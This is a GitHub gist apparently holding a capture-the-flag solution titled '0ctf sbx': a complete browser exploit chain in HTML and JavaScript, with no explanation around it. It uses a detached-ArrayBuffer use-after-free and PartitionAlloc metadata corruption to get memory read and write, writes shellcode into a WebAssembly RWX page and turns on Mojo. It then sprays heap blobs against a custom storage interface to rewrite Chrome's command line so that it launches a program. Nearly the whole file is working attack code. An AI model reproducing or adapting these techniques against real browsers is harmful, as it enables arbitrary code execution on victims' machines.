Created
July 14, 2021 11:03
-
-
Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>0ctf sbx</title> | |
</head> | |
<body> | |
<h1>HK</h1> | |
<pre id='log'></pre> | |
</body> | |
<script src='./mojo_bindings.js'></script> | |
<script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script> | |
<script src="./mojo_js/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script id = 'worker'> | |
worker: { | |
if(typeof window === 'object') break worker | |
self.onmessage = function(event) {} | |
} | |
</script> | |
<script id='helpers'> | |
let wasm_code = new Uint8Array([ | |
0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0, | |
1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4, | |
132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128, | |
0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128, | |
128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97, | |
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0, | |
0,65,42,11 | |
]) | |
var wasmModule = new WebAssembly.Module(wasm_code) | |
var wasmInstance = new WebAssembly.Instance(wasmModule) | |
var evilFunc = wasmInstance.exports.main | |
let conversionBuffer = new ArrayBuffer(0x40) | |
let floatView = new Float64Array(conversionBuffer) | |
let intView = new BigUint64Array(conversionBuffer) | |
let u8View = new Uint8Array(conversionBuffer) | |
BigInt.prototype.hex = function(){return '0x' + this.toString(16) } | |
BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]} | |
BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] } | |
BigInt.prototype.shl32 = function(){return this << 32n} | |
BigInt.prototype.shr32 = function(){return this >> 32n } | |
String.prototype.to_u64 = function(){ | |
var tmp = this | |
while(tmp.length%8) | |
tmp += "\x00" | |
for(let i = 0; i < 8; i++) | |
u8View[i] = tmp.charCodeAt(i) | |
return intView[0] | |
} | |
BigInt.prototype.byteSwap = function(){ | |
var result = 0n | |
var tmp = this | |
for(let i = 0; i < 8; i++) { | |
result = result << 8n | |
result += tmp & 255n | |
tmp = tmp >> 8n | |
} | |
return result | |
} | |
Number.prototype.f2i = function(){floatView[0] = this;return intView[0]} | |
Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n} | |
Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn} | |
Number.prototype.i2f = function(){return BigInt(this).i2f()} | |
Number.prototype.smi2f = function(){return BigInt(this).smi2f()} | |
const getSuperPage = addr => | |
addr & (~((1n << 21n) - 1n)) | |
const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) => | |
getSuperPage(addr) + partitionPageIndex << 14n | |
const getMetadataArea = addr => | |
getSuperPage(addr) + 0x1000n | |
const getPartitionPageMetadataArea = addr => | |
getMetadataArea(addr) + | |
((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n | |
const sleep = ms => | |
new Promise(resolve=>setTimeout(resolve,ms)) | |
const gc = () => { | |
let promise = new Promise((cb)=>{ | |
let arg; | |
for(let i = 0; i < 100; i++) | |
new ArrayBuffer(1024*1024*60).buffer | |
cb(arg) | |
}) | |
return promise | |
} | |
function getAllocationConstructor() { | |
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | |
function Allocation(size=280) { | |
function ProgressClient(allocate) { | |
function ProgressClientImpl() {} | |
ProgressClientImpl.prototype = { | |
onProgress: async (arg0) => { | |
if (this.allocate.writePromise) { | |
this.allocate.writePromise.resolve(arg0); | |
} | |
} | |
}; | |
this.allocate = allocate; | |
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | |
var progress_client_req = mojo.makeRequest(this.ptr); | |
this.binding = new mojo.AssociatedBinding( | |
blink.mojom.ProgressClient, | |
new ProgressClientImpl(), | |
progress_client_req | |
); | |
return this; | |
} | |
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | |
this.progressClient = new ProgressClient(this); | |
blob_registry_ptr.registerFromStream("", "", size, | |
this.pipe.consumer, | |
this.progressClient.ptr).then((res) => { | |
this.serialized_blob = res.blob; | |
}) | |
this.malloc = async function(data) { | |
promise = new Promise((resolve, reject) => { | |
this.writePromise = {resolve: resolve, reject: reject}; | |
}); | |
this.pipe.producer.writeData(data); | |
this.pipe.producer.close(); | |
written = await promise; | |
console.assert(written == data.byteLength); | |
} | |
this.free = async function() { | |
this.serialized_blob.blob.ptr.reset(); | |
await new Promise(resolve=>setTimeout(resolve, 100)); | |
} | |
this.read = function(offset, length) { | |
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | |
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | |
return new Promise((resolve) => { | |
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | |
result = new ArrayBuffer(length); | |
this.readpipe.consumer.readData(result); | |
this.watcher.cancel(); | |
resolve(result); | |
})}); | |
} | |
this.readQword = async function(offset) { | |
let res = await this.read(offset, 8); | |
return (new DataView(res)).getBigUint64(0, true); | |
} | |
return this; | |
} | |
async function allocate(data) { | |
let allocation = new Allocation(data.byteLength); | |
await allocation.malloc(data); | |
return allocation; | |
} | |
return allocate; | |
} | |
async function heapSpray( | |
allocator, data, size) { | |
return Promise.all( | |
Array(size).fill().map( | |
() => allocator(data) | |
)); | |
} | |
</script> | |
<script> | |
if(typeof(Mojo)!=='undefined') { | |
(async function(){ | |
console.log("MOjo Enabeleed") | |
const cmd_line_ptr = 0x9e07fb0n | |
const setenv_chrome = 0x9d34038n | |
const system = 0x55410n | |
const fakeVtableOffset = 0xaa6ba40n | |
const L_xchg_rax_rsp = 0x3fa5114n | |
const L_pop_rdi = 0x2e9ee1dn | |
const L_ret = L_pop_rdi+1n | |
const L_pop_rsi = 0x2f49c6en | |
const L_pop_r14_r15_rbp = 0x3fa5182n | |
let allocator = getAllocationConstructor() | |
let tstoragePtrs = new Array() | |
let tinstancePtrs = new Array() | |
for(var i = 0; i < 0x1000; i++) { | |
tstoragePtrs.push(new blink.mojom.TStoragePtr()) | |
Mojo.bindInterface(blink.mojom.TStorage.name, | |
mojo.makeRequest(tstoragePtrs[i]).handle) | |
await tstoragePtrs[i].init() | |
tinstancePtrs.push( | |
new blink.mojom.TInstanceAssociatedPtr( | |
(await tstoragePtrs[i].createInstance()).instance)) | |
} | |
var chrome_leak = undefined | |
var chrome_base = undefined | |
for(var i = 0; i < 0x1000; i++) { | |
if((BigInt(((await tinstancePtrs[i].get(2)).value))&0xfffn) == 0x908n) { | |
chrome_leak = BigInt(((await tinstancePtrs[0].get(2)).value)) | |
chrome_base = chrome_leak - 0x1ee4908n | |
if(chrome_base > 0n) { | |
console.log('[*] Chrome base: 0x' + chrome_base.toString(16)) | |
break | |
} | |
} | |
} | |
if(chrome_base == undefined) { | |
location.reload() | |
} | |
await sleep(1000) | |
for(var i = 0; i < 0x1000; i++) | |
await tstoragePtrs[i].init() | |
await sleep(100) | |
let blobArrayBuffer = new ArrayBuffer(0x700) | |
let blob = new BigUint64Array(blobArrayBuffer) | |
blob[0x648/8] = chrome_base + cmd_line_ptr | |
blob[0x650/8] = 1n | |
blob[0x660/8] = 1n | |
blob[0x670/8] = 0x4242424242424242n | |
let spray_blob = await heapSpray(allocator, blob.buffer, 0x1000) | |
for(var i = 0; i < 0x1000; i++) { | |
if ( ((((await tinstancePtrs[i].getDouble() | |
).value).f2i()).toString(16)) == "4242424242424242") { | |
var g_cmdline_ptr = BigInt((await tinstancePtrs[i].pop()).value) | |
console.log('[+] g_cmdline_ptr: 0x' + g_cmdline_ptr.toString(16)) | |
break | |
} | |
} | |
if(!g_cmdline_ptr) | |
location.reload() | |
for(var i = 0; i < spray_blob.length; i++) | |
spray_blob[i].free() | |
await sleep(1000) | |
blob[0x648/8] = g_cmdline_ptr | |
blob[0x650/8] = 1n | |
blob[0x660/8] = 1n | |
blob[0x670/8] = 0x6767676767676767n | |
let spray_blob_part2 = await heapSpray(allocator, blob.buffer, 0x1000) | |
await sleep(2000) | |
let L_ROP = [ | |
0x4141414141414141n | |
] | |
for(var i = 0; i < 0x1000; i++) { | |
if ( ((((await tinstancePtrs[i].getDouble() | |
).value).f2i()).toString(16)) == "6767676767676767") { | |
var g_cmdline_switch = BigInt((await tinstancePtrs[i].pop()).value) | |
console.log('[+] g_cmdline_switch: 0x' + g_cmdline_switch.toString(16)) | |
break | |
} | |
} | |
for(var i = 0; i < spray_blob_part2.length; i++) | |
spray_blob_part2[i].free() | |
await sleep(1000) | |
blob.fill(0n) | |
blob[0x648/8] = g_cmdline_switch+0x78n | |
blob[0x650/8] = 0x50n | |
blob[0x658/8] = 0n | |
blob[0x670/8] = 0x4848484848484848n | |
let spray_blob_part3 = await heapSpray(allocator, blob.buffer, 0x1000) | |
await sleep(100) | |
let command = [ | |
g_cmdline_switch+0x80n, | |
"--render".to_u64(),"er-cmd-p".to_u64(),"refix='/".to_u64(), | |
"usr/bin/".to_u64(),"xcalc'".to_u64() | |
] | |
for(var i = 0; i < 0x1000; i++) { | |
if ( ((((await tinstancePtrs[i].getDouble() | |
).value).f2i()).toString(16)) == "4848484848484848") { | |
console.log("Found") | |
for(var j = 0; j < command.length; j++) { | |
await tinstancePtrs[i].push(command[j]) | |
} | |
break | |
} | |
} | |
let iframe = document.createElement('iframe'); | |
document.body.appendChild(iframe); | |
iframe.contentWindow.document.open(); | |
iframe.contentWindow.document.write('<h1>'); | |
iframe.contentWindow.document.close(); | |
})() | |
} else { | |
(async function() { | |
const partitionAllocHookEnabled = 0x9e0aa78 | |
const mojo_flag = 0x9f69975 | |
const L_ret = 0x4a6180f | |
const blinkStorage_thread_root = 0x9df97c0 | |
const wasmInstance_offset = 0x833dc61 | |
async function detachBuffer(ab) { | |
try{ | |
var worker = new Worker( | |
window.URL.createObjectURL(new Blob([ | |
document.querySelector("#worker").textContent | |
],{type: 'text/javascript'} | |
))) | |
worker.postMessage({ab: ab}, [ab]) | |
await sleep(100); worker.terminate(); await sleep(100) | |
} catch(excp) { | |
console.log(excp) | |
} | |
} | |
var no_gc = new Array() | |
let victimBuffer = new ArrayBuffer(0x100) | |
let leakBuffer = new ArrayBuffer(0x100) | |
let victim = new BigUint64Array(victimBuffer) | |
let holder = new BigUint64Array(leakBuffer) | |
await detachBuffer(victimBuffer) | |
await gc(); await gc(); await gc(); await gc(); | |
holder.set(victim) | |
var leaked_addr = holder[0].byteSwap() | |
var superPage = getSuperPage(leaked_addr) | |
var metadataPage = getMetadataArea(leaked_addr) | |
var partitonPage = getPartitionPageMetadataArea(leaked_addr) | |
console.log('[+] Heap Leak: 0x' + leaked_addr.toString(16)) | |
console.log('[+] SuperPage: 0x' + superPage.toString(16)) | |
console.log('[+] Metadata Area: 0x' + metadataPage.toString(16)) | |
console.log('[+] PartitionPage Metadata: 0x' + partitonPage.toString(16)) | |
holder[0] = (metadataPage + 0xe0n).byteSwap() | |
victim.set(holder,0) | |
no_gc.push(new ArrayBuffer(0x100)); no_gc.push(new BigUint64Array(0x100/8)) /*1,2*/ | |
var tmp_array_buffer = new ArrayBuffer(0x300) | |
let chrome_leak = no_gc[1][2] | |
var chrome_base = chrome_leak - 0x9f37268n | |
console.log('[+] Chrome base: 0x' + chrome_base.toString(16)) | |
await gc(); await gc(); await gc(); await gc(); | |
no_gc.push(new ArrayBuffer(8)) | |
no_gc.push(new ArrayBuffer(8)) | |
var victimBuffer2 = new BigUint64Array(new ArrayBuffer(8)) | |
var holder2 = new BigUint64Array(new ArrayBuffer(8)) | |
await detachBuffer(victimBuffer2.buffer) | |
await gc(); await gc(); await gc(); await gc(); | |
holder2[0] = (metadataPage + 0x20n).byteSwap() | |
victimBuffer2.set(holder2) | |
no_gc.push(new ArrayBuffer(8)) /*2*/ | |
var rw_helper = new BigUint64Array(new ArrayBuffer(8)) | |
await gc(); await gc(); await gc(); await gc(); | |
no_gc.push(victimBuffer) | |
no_gc.push(rw_helper) | |
await gc(); await gc(); await gc(); await gc(); | |
function read64(rw, address) { | |
rw[0] = address | |
var array_buffer = new BigUint64Array(new ArrayBuffer(8)) | |
no_gc.push(array_buffer) | |
array_buffer[0] = rw[0].byteSwap() | |
rw[0] = 0n | |
return array_buffer[0] | |
} | |
function write64(rw, address, value) { | |
var backup = rw[0] | |
rw[0] = address | |
var array_buffer = new BigUint64Array(new ArrayBuffer(8)) | |
no_gc.push(array_buffer) | |
array_buffer[0] = BigInt(value) | |
rw[0] = backup | |
} | |
write64(rw_helper, chrome_base+BigInt(mojo_flag),1n) | |
var v8_heapRoot = read64(rw_helper, chrome_base+BigInt(blinkStorage_thread_root)) | |
console.log('[+] V8 Heap base: 0x'+v8_heapRoot.toString(16)) | |
var rwx_page = read64(rw_helper, (v8_heapRoot + BigInt(wasmInstance_offset-1)) + 0x68n) | |
console.log('[+] RWX Page: 0x' + rwx_page.toString(16)) | |
await gc(); await gc(); await gc(); await gc(); | |
var shellcode_rwArrayBuffer = new BigUint64Array(new ArrayBuffer(0x1000)) | |
await detachBuffer(shellcode_rwArrayBuffer.buffer) | |
await gc(); await gc(); await gc(); await gc(); | |
holder[0] = BigInt(rwx_page).byteSwap() | |
shellcode_rwArrayBuffer.set(holder,0) | |
no_gc.push(new ArrayBuffer(0x1000)) | |
var shellcodeWriter = new Uint8Array(0x1000) /* RWX PAGE */ | |
const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1); | |
const setBytes = shellcode => { for(var i = 0; i < shellcode.length; i++) shellcodeWriter[i] = shellcode[i] } | |
function I64ToBytes(num) { | |
let numh = Number(num/0x100000000n); | |
let numl = Number(num&0xffffffffn); | |
var result = []; | |
for (let j = 0; j < 4; ++j) | |
result.push((numl >>> 8 * j) & 0xff); | |
for (let j = 0; j < 4; ++j) | |
result.push((numh>>> 8 * j) & 0xff); | |
return result; | |
} | |
function flatten(array) { | |
let result = new Array(array.length), | |
index = 0, | |
flattenInternal = (array, result) => { | |
for (let element of array) { | |
if (Array.isArray(element)) | |
flattenInternal(element, result) | |
else result[index++] = element; | |
} | |
} | |
flattenInternal(array, result); | |
result.length = index; | |
return result; | |
} | |
function prepareBytes(shellcode) { | |
let flatArray = flatten(shellcode), | |
roundUpLength = roundUp(flatArray, 8), | |
result = []; | |
while (flatArray.length < roundUpLength) | |
flatArray.push(0x90); | |
return flatArray; | |
} | |
await sleep(2000) | |
let shellcode = new Uint8Array(prepareBytes([ | |
0x55, // push rbp | |
0x48, 0x89, 0xe5, // mov rbp, rsp | |
0x48, 0xbf, I64ToBytes(chrome_base), // mov rdi, chrome_base | |
0x48, 0x31, 0xf6, // xor rsi, rsi | |
0x48, 0x31, 0xd2, // xor rdx, rdx | |
0x48, 0x31, 0xc0, // xor rax, rax | |
0xbe, 0x00, 0xe0, 0xf7, 0x09, // mov esi, 0x9f7e000 | |
0xba, 0x07, 0x00, 0x00, 0x00, // mov edx, 0x7 | |
0xb8, 0x0a, 0x00, 0x00, 0x00, // mov eax, 0xa | |
0x0f, 0x05, //syscall | |
0x41, 0x41, 0x41, 0x41, | |
0x48, 0xbf, I64ToBytes(chrome_base + BigInt(partitionAllocHookEnabled)), //mov rdi, base::PartitionAllocHooks::hooks_enabled_ | |
0xc6, 0x07, 0x01, // mov byte ptr [rdi], 1 | |
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3248n), // 0x4af3248 <base::PartitionAllocHooks::FreeObserverHookIfEnabled(void*)+40>: ja 0x4af324f <udt> | |
0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090 | |
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3270n), // 0x4af3270 <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+16>: xor eax,eax | |
0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090 | |
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af326en), // 0x4af326e <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+14>: jne 0x4af3274 <udt> | |
0x66, 0xc7, 0x07, 0xb0, 0x01, // mov word ptr [rdi], 0x01b0 | |
0x48, 0xbf, I64ToBytes(chrome_base + BigInt(0x4af3ec0)), // mov rdi, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>*, bool | |
0xc6, 0x07, 0xc3, // mov byte ptr [rdi], 0xc3 | |
0x48, 0x89, 0xec, // mov rsp, rbp | |
0x5d, //pop rbp | |
0xc3 // ret | |
])); | |
setBytes(shellcode); evilFunc(); | |
write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x10), chrome_base + BigInt(L_ret)) | |
write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x20), chrome_base + BigInt(L_ret)) | |
await sleep(1000) | |
location.reload() | |
})() | |
} | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment